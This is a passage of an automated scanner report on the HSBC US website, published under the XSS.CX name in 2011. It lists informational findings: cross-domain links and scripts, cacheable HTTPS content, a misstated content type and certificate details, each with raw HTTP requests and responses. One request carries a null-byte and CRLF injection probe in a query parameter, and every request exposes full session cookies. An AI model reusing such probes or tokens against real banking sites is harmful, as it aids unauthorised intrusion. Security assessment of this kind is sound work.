GET /1/2/3/personal/apply?code=CSM0001792&WT.ac=HBUS_CSM0001792&ceprod=MMX3 HTTP/1.1
Host: www.us.hsbc.com
Connection: keep-alive
Referer: http://www.us.hsbc.com/1/2/3/personal/cs/dm/plus-checking?SCMCLP=rdad_CSM0001792&x=&code=CSM0001792&WT.ac=CSM0001792
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CAMToken=/yH9V+DqiXBXZS2kGZFaaiatplY=; US-us.hsbc.com-VO=99162540.21248.0000; HSBC_COOKIEMI=34ebe780-a978-11e0-aa8a-000401060604; USIB2G=0000v6VOrmCAM1PBl-3ifUigWqK:14goqma50; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLi6APzAIQxfTCQeMRdBLYUs3UuKASB394Q%3D%3D; mkt_code=CSM0001757; account_access_selected=1; WT_FPC=id=173.193.214.243-4264770832.30162308:lv=1310158566577:ss=1310157474021

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 15:56:34 GMT
Server: IBM_HTTP_Server
Cache-Control: private
Cache-Control: max-age=60
Expires: Fri, 08 Jul 2011 15:57:34 GMT
Vary: User-Agent,Cookie
S: hbus-vo502_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en
Content-Length: 23046

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="Content-Type" content=
...[SNIP]...
<!-- Begin SearchRev ACTION Tag -->
<img src="https://s1.srtk.net/www/delivery/ti.php?trackerid=967&cb=2064892345" width="1" height="1" border="0" />
<!-- End SearchRev Tag -->
...[SNIP]...
<noscript>
<img src='https://s1.srtk.net/www/delivery/ti.php?trackerid=1633&cb=670996595' width='1' height='1' border='0'/>
</noscript>
...[SNIP]...
<br /><a style="margin-left: 170px" href="https://seal.verisign.com/splash?form_file=fdf/splash.fdf&amp;dn=quickaccount.us.hsbc.com&amp;lang;=en" target="_blank"><img alt="This hyperlink allows you to access a non-HSBC website. HSBC Bank USA, N.A. has no control over the linked website and is not liable for your use of it. Please read the terms & conditions, se
...[SNIP]...
<noscript>
<img name="dcsimg" width="1" height="1" alt=" " src="https://www1.member-hsbc-group.com/dcsz8d5o800000sx01hp9o0d1_6q6k/njs.gif?dcsuri=/nojavascript&amp;WT.js=No" />
</noscript>
...[SNIP]...

2.2. https://www.us.hsbc.com/1/2/3/personal/insurance/utilities/getquote  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /1/2/3/personal/insurance/utilities/getquote

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /1/2/3/personal/insurance/utilities/getquote?SCMCLP=84e63%00%0d%0a430fa57559&x=&mc_id=909TKDWU4&code=CSM0001757&WT.ac=HBUS_CSM0001757&product=pchk HTTP/1.1
Host: www.us.hsbc.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CAMToken=/yH9V+DqiXBXZS2kGZFaaiatplY=; US-us.hsbc.com-VO=99162540.21248.0000; HSBC_COOKIEMI=34ebe780-a978-11e0-aa8a-000401060604; USIB2G=0000v6VOrmCAM1PBl-3ifUigWqK:14goqma50; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLi6APzAIQxfTCQeMRdBLYUs3UuKASB394Q%3D%3D; account_access_selected=1; mkt_code=CSM0001792; oao_brand=retail%7Cstart; WT_FPC=id=173.193.214.243-4264770832.30162308:lv=1310158691450:ss=1310157474021

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 15:58:40 GMT
Server: IBM_HTTP_Server
Cache-Control: private
Cache-Control: max-age=60
Expires: Fri, 08 Jul 2011 15:59:40 GMT
Vary: User-Agent,Cookie
S: hbus-vo502_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en
Content-Length: 7828

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="Content-Type" content="
...[SNIP]...
<noscript>
<img name="dcsimg" width="1" height="1" alt=" " src="https://www1.member-hsbc-group.com/dcsz8d5o800000sx01hp9o0d1_6q6k/njs.gif?dcsuri=/nojavascript&amp;WT.js=No" />
</noscript>
...[SNIP]...

2.3. https://www.us.hsbc.com/1/2/3/personal/online-services/personal-internet-banking/registration/pib-registration  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /1/2/3/personal/online-services/personal-internet-banking/registration/pib-registration

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /1/2/3/personal/online-services/personal-internet-banking/registration/pib-registration?start=start HTTP/1.1
Host: www.us.hsbc.com
Connection: keep-alive
Referer: http://www.us.hsbc.com/1/2/3/personal/online-services/personal-internet-banking
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CAMToken=/yH9V+DqiXBXZS2kGZFaaiatplY=; US-us.hsbc.com-VO=99162540.21248.0000; HSBC_COOKIEMI=34ebe780-a978-11e0-aa8a-000401060604; USIB2G=0000v6VOrmCAM1PBl-3ifUigWqK:14goqma50; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLi6APzAIQxfTCQeMRdBLYUs3UuKASB394Q%3D%3D; account_access_selected=1; mkt_code=CSM0001792; oao_brand=retail%7Cstart; WT_FPC=id=173.193.214.243-4264770832.30162308:lv=1310158602032:ss=1310157474021

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 15:58:27 GMT
Server: IBM_HTTP_Server
Cache-Control: private
Cache-Control: max-age=60
Expires: Fri, 08 Jul 2011 15:59:27 GMT
Vary: User-Agent,Cookie
S: hbus-vo502_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en
Content-Length: 18913

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="Content-Type" content
...[SNIP]...
</a>
       

       <img height="1" width="1" src="https://switch.atdmt.com/action/msrhsc_DontHaveaPersonalInternetBanking_1" />
   

    </div>
...[SNIP]...
<noscript>
<img name="dcsimg" width="1" height="1" alt=" " src="https://www1.member-hsbc-group.com/dcsz8d5o800000sx01hp9o0d1_6q6k/njs.gif?dcsuri=/nojavascript&amp;WT.js=No" />
</noscript>
...[SNIP]...

2.4. https://www.us.hsbc.com/1/2/oao  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /1/2/oao

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /1/2/oao?promoprod=MMX3&code=CSM0001792 HTTP/1.1
Host: www.us.hsbc.com
Connection: keep-alive
Referer: https://www.us.hsbc.com/1/2/3/personal/apply?code=CSM0001792&WT.ac=HBUS_CSM0001792&ceprod=MMX3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CAMToken=/yH9V+DqiXBXZS2kGZFaaiatplY=; US-us.hsbc.com-VO=99162540.21248.0000; HSBC_COOKIEMI=34ebe780-a978-11e0-aa8a-000401060604; USIB2G=0000v6VOrmCAM1PBl-3ifUigWqK:14goqma50; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLi6APzAIQxfTCQeMRdBLYUs3UuKASB394Q%3D%3D; account_access_selected=1; mkt_code=CSM0001792; WT_FPC=id=173.193.214.243-4264770832.30162308:lv=1310158596127:ss=1310157474021

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 15:58:09 GMT
Server: IBM_HTTP_Server
Cache-Control: private
Cache-Control: max-age=60
Expires: Fri, 08 Jul 2011 15:59:09 GMT
Vary: User-Agent,Cookie
Content-Length: 6208
S: hbus-vo502_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="Content-Type" content="
...[SNIP]...
<noscript>
<img name="dcsimg" width="1" height="1" alt=" " src="https://www1.member-hsbc-group.com/dcsz8d5o800000sx01hp9o0d1_6q6k/njs.gif?dcsuri=/nojavascript&amp;WT.js=No" />
</noscript>
...[SNIP]...

3. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /1/2/3/business/online/business-internet-banking/applynow

Issue detail

The response dynamically includes the following script from another domain:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /1/2/3/business/online/business-internet-banking/applynow HTTP/1.1
Host: www.us.hsbc.com
Connection: keep-alive
Referer: https://www.us.hsbc.com/1/2/3/business/online/business-internet-banking/log-on
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CAMToken=/yH9V+DqiXBXZS2kGZFaaiatplY=; US-us.hsbc.com-VO=99162540.21248.0000; HSBC_COOKIEMI=34ebe780-a978-11e0-aa8a-000401060604; USIB2G=0000v6VOrmCAM1PBl-3ifUigWqK:14goqma50; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLi6APzAIQxfTCQeMRdBLYUs3UuKASB394Q%3D%3D; mkt_code=CSM0001757; account_access_selected=1; WT_FPC=id=173.193.214.243-4264770832.30162308:lv=1310158486895:ss=1310157474021

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 15:54:55 GMT
Server: IBM_HTTP_Server
Cache-Control: private
Cache-Control: max-age=60
Expires: Fri, 08 Jul 2011 15:55:55 GMT
Vary: User-Agent,Cookie
S: hbus-vo502_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Language: en
Content-Length: 26569

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">


   <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
   <meta http-equiv="Content-Type" content=
...[SNIP]...
</a>
       <script type="text/javascript"
src="https://as00.estara.com/as/InitiateCall2.php?
accountid=200106280480&amp;Template=29983">
</script>
...[SNIP]...

4. Cacheable HTTPS response  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /1/themes/html/hbus_common/HSBC-bottom_section.js

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Request

GET /1/themes/html/hbus_common/HSBC-bottom_section.js HTTP/1.1
Host: www.us.hsbc.com
Connection: keep-alive
Referer: https://www.us.hsbc.com/1/2/3/business/online/business-internet-banking/log-on
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CAMToken=/yH9V+DqiXBXZS2kGZFaaiatplY=; US-us.hsbc.com-VO=99162540.21248.0000; HSBC_COOKIEMI=34ebe780-a978-11e0-aa8a-000401060604; USIB2G=0000v6VOrmCAM1PBl-3ifUigWqK:14goqma50; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLi6APzAIQxfTCQeMRdBLYUs3UuKASB394Q%3D%3D; mkt_code=CSM0001757; WT_FPC=id=173.193.214.243-4264770832.30162308:lv=1310158464303:ss=1310157474021; account_access_selected=1

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 15:54:44 GMT
Server: IBM_HTTP_Server
Last-Modified: Thu, 20 May 2010 06:24:02 GMT
Content-Length: 147
S: hbus-vo502_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript
Content-Language: en-US

DCSext.dcsVersion = "7.5.1";
DCSext.HSBCCookie = dcsGetHSBCCookie('HSBC_COOKIEMI');
dcsVar();
dcsMapHSBC();
dcsMeta();
dcsFunc("dcsAdv");
dcsTag();

5. Content type incorrectly stated  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   https://www.us.hsbc.com
Path:   /1/themes/html/hbus_common/HSBC-bottom_section.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /1/themes/html/hbus_common/HSBC-bottom_section.js HTTP/1.1
Host: www.us.hsbc.com
Connection: keep-alive
Referer: https://www.us.hsbc.com/1/2/3/business/online/business-internet-banking/log-on
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CAMToken=/yH9V+DqiXBXZS2kGZFaaiatplY=; US-us.hsbc.com-VO=99162540.21248.0000; HSBC_COOKIEMI=34ebe780-a978-11e0-aa8a-000401060604; USIB2G=0000v6VOrmCAM1PBl-3ifUigWqK:14goqma50; SCM_COOKIE=uid=0|val=m7e%2FaaZaQhL1C2gNe7%2BBLi6APzAIQxfTCQeMRdBLYUs3UuKASB394Q%3D%3D; mkt_code=CSM0001757; WT_FPC=id=173.193.214.243-4264770832.30162308:lv=1310158464303:ss=1310157474021; account_access_selected=1

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 15:54:44 GMT
Server: IBM_HTTP_Server
Last-Modified: Thu, 20 May 2010 06:24:02 GMT
Content-Length: 147
S: hbus-vo502_2
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-javascript
Content-Language: en-US

DCSext.dcsVersion = "7.5.1";
DCSext.HSBCCookie = dcsGetHSBCCookie('HSBC_COOKIEMI');
dcsVar();
dcsMapHSBC();
dcsMeta();
dcsFunc("dcsAdv");
dcsTag();

6. SSL certificate  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.us.hsbc.com
Path:   /

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:  www.us.hsbc.com
Issued by:  VeriSign Class 3 Extended Validation SSL SGC CA
Valid from:  Tue Apr 26 19:00:00 CDT 2011
Valid to:  Thu Apr 26 18:59:59 CDT 2012

Certificate chain #1

Issued to:  VeriSign Class 3 Extended Validation SSL SGC CA
Issued by:  VeriSign Class 3 Public Primary Certification Authority - G5
Valid from:  Tue Nov 07 18:00:00 CST 2006
Valid to:  Mon Nov 07 17:59:59 CST 2016

Certificate chain #2

Issued to:  VeriSign Class 3 Public Primary Certification Authority - G5
Issued by:  Class 3 Public Primary Certification Authority
Valid from:  Tue Nov 07 18:00:00 CST 2006
Valid to:  Sun Nov 07 17:59:59 CST 2021

Certificate chain #3

Issued to:  Class 3 Public Primary Certification Authority
Issued by:  Class 3 Public Primary Certification Authority
Valid from:  Sun Jan 28 18:00:00 CST 1996
Valid to:  Wed Aug 02 18:59:59 CDT 2028

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

Report generated by XSS.CX at Fri Jul 08 11:14:49 CDT 2011.